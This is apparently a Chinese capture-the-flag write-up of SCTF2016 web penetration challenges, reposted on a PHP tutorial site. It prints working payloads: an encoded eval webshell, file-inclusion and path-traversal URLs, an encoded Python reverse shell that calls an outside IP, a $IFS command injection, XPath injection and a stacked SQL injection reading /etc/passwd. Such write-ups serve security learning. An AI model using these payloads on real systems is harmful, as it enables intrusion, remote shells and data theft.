Heim > Backend-Entwicklung > PHP-Tutorial > SCTF2016 痛苦的滲透之路

SCTF2016 痛苦的滲透之路

WBOY
Freigeben: 2016-06-20 12:28:45
Original
2047 Leute haben es durchsucht

SCTF2016 痛苦的滲透之路

0x00 前言

這次的CTF玩的很酸爽,一共7個 WEB滲透 類的題目,這也是痛苦的開始。好好的審計,為何加那麼多高門檻。

0x01 Pentest-homework-200

http://homework.sctf.xctf.org.cn/

打開完整,就是登陸頁面,進入註冊。名字,年齡,上傳圖片。

順利登陸之後是顯示一張圖片。還有一個homework的鏈接。

點擊homework鏈接之後是一個包好頁面的網址。

http://homework.sctf.xctf.org.cn/homework.php?homework=homework.txt
Nach dem Login kopieren

可以判定這是一個文件包含漏洞的腦洞。馬上試試上傳木馬圖片來包含。

必然的繼而,包含不成功。

讀取源碼來瞅瞅上傳功能出了什麼問題。

http://homework.sctf.xctf.org.cn/homework.php?homework=php://filter/convert.base64-encode/resource=index.php
Nach dem Login kopieren

果斷成功讀取。然後把該讀取的源碼全都download下來。

通過審計代碼

if(isset($_POST['upload'])){$filename = $_FILES['uploaded']['name'];$filetype = $_FILES['uploaded']['type'];$filesize = $_FILES['uploaded']['size'];$tmpname = $_FILES['uploaded']['tmp_name'];$uploaddir = './upload/';$target_path = $uploaddir.basename($filename);$fileext = substr(strrchr($filename,"."),1);if(($fileext == 'gif')&&($filetype == "image/gif")){    {        if(move_uploaded_file($tmpname,$target_path))        {        }    }    $im =imagecreatefromgif($target_path);    srand(time());    $newfilename = strval(rand()).".gif";    $newimagepath = $uploaddir.$newfilename;    imagegif($im,$newimagepath);    unlink($target_path);}else if(($fileext == 'jpg')&&($filetype == "image/jpeg")){...
Nach dem Login kopieren

果然有點意思,上傳的圖片都經過 imagecreatefromgif等函數處理過了。

但是這不是重點,重點是前面的 move_uploaded_file($tmpname,$target_path)

熟悉php代碼的應該都知道,只是已經成功上傳圖片了的。

成功上傳之後再進行處理並刪除源文件 unlink($target_path);。

所以,這個題目是時間競爭,拼網速,拼人品。

上傳寫shell腳本的圖片馬

fputs(fopen(base64_decode(dmlyLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWyd2aXJpbmsnXSk7Pz4tLS0t));
Nach dem Login kopieren

brup 多線程訪問

http://homework.sctf.xctf.org.cn/homework.php?homework=upload/virink.jpg
Nach dem Login kopieren

註冊上傳。。如果人品好,很快就成功了。

後來,發現,寫的shell莫名其妙就沒了,目測有人攪屎,然後我就寫到/tmp去了。2333333

webshell成功上傳了,但是發現,很多功能都被閹割掉了。

ddisable_functions= passthru,exec,phpinfo,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pcntl_exec
Nach dem Login kopieren

然後就是利用 PHP绕过open_basedir列目录黑科技列目錄。

virink=printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));$file_list = array();$it = new DirectoryIterator("glob:////home/wwwroot/default/web/*");foreach($it as $f) {    $file_list[] = $f->__toString();}$it = new DirectoryIterator("glob:///.*");foreach($it as $f) {    $file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo "{$f}<br/>";}
Nach dem Login kopieren

然後就是讀取flag

virink=echo file_get_contents('/home/wwwroot/default/web/4ff692fb12aa996e27f0a108bfc386c2');
Nach dem Login kopieren

SCTF{g00d_Good_Stu6y}

0x02 Pentest-sycshell-200

http://58.213.63.27:61180

右鍵查看源碼

<!-- 内部系统资料:http://sycshell.sycsec.com:61180/ -->
Nach dem Login kopieren

改Hosts,然後用域名訪問。

再開源碼,解密jsfuck編碼,得到

/W0Ca1N1CaiBuDa0/read.php?f=index
Nach dem Login kopieren

代碼審計,繞過後包含。

源碼:

<?php    show_source(__FILE__);    $pass = @$_GET['pass'];    $a = "syclover";        strlen($pass) > 15 ? die("Don't Hack me!") : "";        if(!is_numeric($pass) || preg_match('/0(x)?|-|\+|\s|^(\.|\d).*$/i',$pass)){        die('error');    }        if($pass == 1 &&  $a[$pass] === "s"){        $file = isset($_GET['f']) ? $_GET['f'].'.php' : 'index.php';        @include $file;    }?>
Nach dem Login kopieren

這裏有一個大腦洞!!!!有版本限制的。

根據提示:sycshell_tip 审计那部分好好看php的底层代码,另外方便大家一下58.213.63.27:61180/phpinfo.php

首先可以得到php 5.3.29版本。

版本漏洞, %0b(\v)可以繞過正則的 \s

/?pass=%0b.1e1
Nach dem Login kopieren

php底層源碼

while (*str == ' ' || *str == '\t' || *str == '\n' || *str == '\r' || *str == '\v' || *str == '\f') {    str++;    length--;}
Nach dem Login kopieren

這個題目的另一個大脑洞就是 phpinfo()+Lfi

然後就是爆破吧、、2333

$pass繞過這個腦洞與phithon牛的一道題目類似的

https://www.leavesongs.com/PENETRATION/some-sangebaimao-ctf-writeups.html?lan=tw&lan=tw&lan=tw

题三: PHP类型与逻辑+fuzz与源代码审计的*0x03 函数特性导致绕过*部分。

0x03 Pentest-DrugMarket1-300

Drug Market: http://www.spentest.com/

一開始就是一個腦洞,偽404 Not Found頁面。我曾經吃過這方面的虧,然後就默默地看源碼,點開隱藏的鏈接了。

http://drug.spentest.com/
Nach dem Login kopieren

點order可以提交數據,然後沒別的什麼功能了。可能存在xss。

我繼續看源碼,有發現一個鏈接。

http://msgboard.spentest.com/
Nach dem Login kopieren

打開頁面直接跳轉到

http://msgboard.spentest.com/index.php?action=login.php
Nach dem Login kopieren

很明顯的一個文件包含漏洞。到處看了下,沒有上傳的地方。

再來研究頁面功能,客戶登陸,隨便填寫用戶名和聯繫方式之後發現存在session。並且用戶名和聯繫方式並沒有過濾。

初步判斷是包含session。習慣性包含/tmp/sess_xxxxxxxxxx,發現並不存在。絕逼改地方了。

然後就是要尋找session的存放地址。首先就得讀取apache的配置文件。

http://msgboard.spentest.com/index.php?action=../../../../../../../../etc/httpd/conf/httpd.conf
Nach dem Login kopieren

得到

<VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    DocumentRoot /var/www/html        <Directory "/var/www/html">    AssignUserId apache apache    php_value session.save_path "/var/lib/php/session"</VirtualHost><VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    ServerName www.spentest.com    DocumentRoot /var/www/webhosts/www        <Directory "/var/www/webhosts/www">    AssignUserId www www    php_value session.save_path "/var/lib/php/session_www"</VirtualHost><VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    ServerName drug.spentest.com    DocumentRoot /var/www/webhosts/drug        <Directory "/var/www/webhosts/drug">    AssignUserId drug drug    php_value session.save_path "/var/lib/php/session_drug"</VirtualHost><VirtualHost 0.0.0.0:80>    ServerAdmin Syclover    ServerName msgboard.spentest.com    DocumentRoot /var/www/webhosts/msgboard        <Directory "/var/www/webhosts/msgboard">    AssignUserId msgboard msgboard    php_value session.save_path "/var/lib/php/session_msgboard"</VirtualHost>
Nach dem Login kopieren

順利知道session的存放地址為 /var/lib/php/session_msgboard

Username 或者 Contact 寫入

http://msgboard.spentest.com/index.php?action=../../../../../../../../var/lib/php/session_msgboard/sess_rb2rbfrie8rku2n81dq52vghp0
Nach dem Login kopieren

然後就是進一步收集信息

virink=phpinfo()
Nach dem Login kopieren

得到

disable_functions=passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
Nach dem Login kopieren

其他站點都沒有訪問權限,默默地閱讀本站點的源碼。得到數據庫連接信息。

因為這個題目已經被FB了,默默地去收集前輩們的信息。/tmp目錄是我的最愛。。。23333

看了一大堆沒用的東西,同時也得到了一些有用的東西,比如mysql的root密碼。。23333

當時腦抽了,沒有好好保存,在/tmp被莫名其妙地清空後找不到mysql的數據庫相關信息了。

思路中斷,始終不知道如何執行命令。

反復研究提示

  1. 这是渗透题哟,所以请不要囿于你当前的Shell之中,想办法渗透到DRUG站点
  2. 为了让题目更加接近真实环境,所以防火墙规则较为严格

最後又回到XSS上面了。因為看過drug的數據庫,並沒有管理員用戶表。

orderX來X去沒效果,然後在小夥伴提示的情況下,X進adminconfig裏面,成功獲取cookie!

進入管理員頁面,發現存在一個下載圖片的功能。自己服務器監聽一個端口,服務器訪問自己的服務器,無果。

還是在小夥伴的提示下,監聽80端口。。才發現提示2是這個腦洞。

然後就收到了一個wget請求。

目測存在命令執行漏洞。

黑科技 : $IFS 代替 空格

上傳一個反彈的py腳本

virink=fputs(fopen('/tmp/vvv.py',w),base64_decode(aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zDQpzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0Kcy5jb25uZWN0KCgiNDUuNzguMTMuMjMiLDgwKSkNCm9zLmR1cDIocy5maWxlbm8oKSwwKQ0Kb3MuZHVwMihzLmZpbGVubygpLDEpDQpvcy5kdXAyKHMuZmlsZW5vKCksMikNCnA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7DQo));
Nach dem Login kopieren

然後執行命令

http://vvv/flag.jpg;python$IFS/tmp/vvv.py
Nach dem Login kopieren

成功得到一個bash的shell。

最後在/home/drug找到flag1.txt

SCTF{b68181af58bdf261714942f0d1a823be}

0x04 Pentest-ETO-200

http://eto.sctf.xctf.org.cn/

這個是第一個放出來的題目,卻是最後才折騰出來。

簡單試一下,存在注入。

然後、各種注入都沒有成功。

官方給的提示奇葩:

ETO相关 不用再尝试爆破了哈,另外hint一直都在

從頭到尾都沒有發現hint在哪裡。

結束後才發現,注入報錯的時候,在響應頭裏面返回了一個 hint://user[id=1]

出題人這個腦洞絕逼要給101分,滿分100,多一分是深深的父愛。

在小夥伴的提示下,才知道這是一個xpath注入。

引號被過濾了,但官方的提示2說好好利用已存在的字符。

說明,密碼中的字符在username、email和role中存在的。用substring()函數逐个字符判斷就ok了

http://eto.sctf.xctf.org.cn/?action=user&id=1 and substring(//user[1]/username,1,1)=substring(//user[1]/password,1,1)
Nach dem Login kopieren

用你的神器Burp再次爆破一波吧。

最后跑出32位的密码 : Ywj@4791.d_gToWDmceu.Eali0s2yarn

登陆后就可以得到Flag了

SCTF{0f61ce4eb984a4a6d3aaa31f779533df}

0x05 Pentest-Hackme-300-未成功

http://hackme.sctf.xctf.org.cn

坨坨的不会做,还是注入。注入一向是我的弱项。Orz......

根据官方的提示

1.网站开发人员经常会去看备忘录

2.想办法拿到管理员密码

3.注意观察数据库连接方式

4.XSS

以及小伙伴的提示:PDO注入。

百度得到:PDO方式的数据库连接,可以insert注入。

折腾一番到也弄出个样子。

http://hackme.sctf.xctf.org.cn/index.php?id=0;/*!50000insert*//*!50000into*/beiwanglu(id,time,event)/*!50000values*/(9,'virink',/*!50000select*/(/*!50000hex*/(/*!50000load_file*/(0x2F6574632F706173737764))));%23
Nach dem Login kopieren

成功X到了管理员的COOKIE。。。

再根据提示 想办法拿到管理员密码可以大概知道下一步可能是劫持表单,获取管理员的密码。

然而,我就不会了。

XSS比SQL注入更渣~~Orz.....

0x06 写在最后

最终以0x01-0x04+签到10分的总分 910分结束本次CTF。

脑洞还是不够大,经验太少。而且还犯傻。很多关键的地方和非关键地方都陷入了思维误区,没有小伙伴提示的话,我估计也就能拿个10分的签到分了。

Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage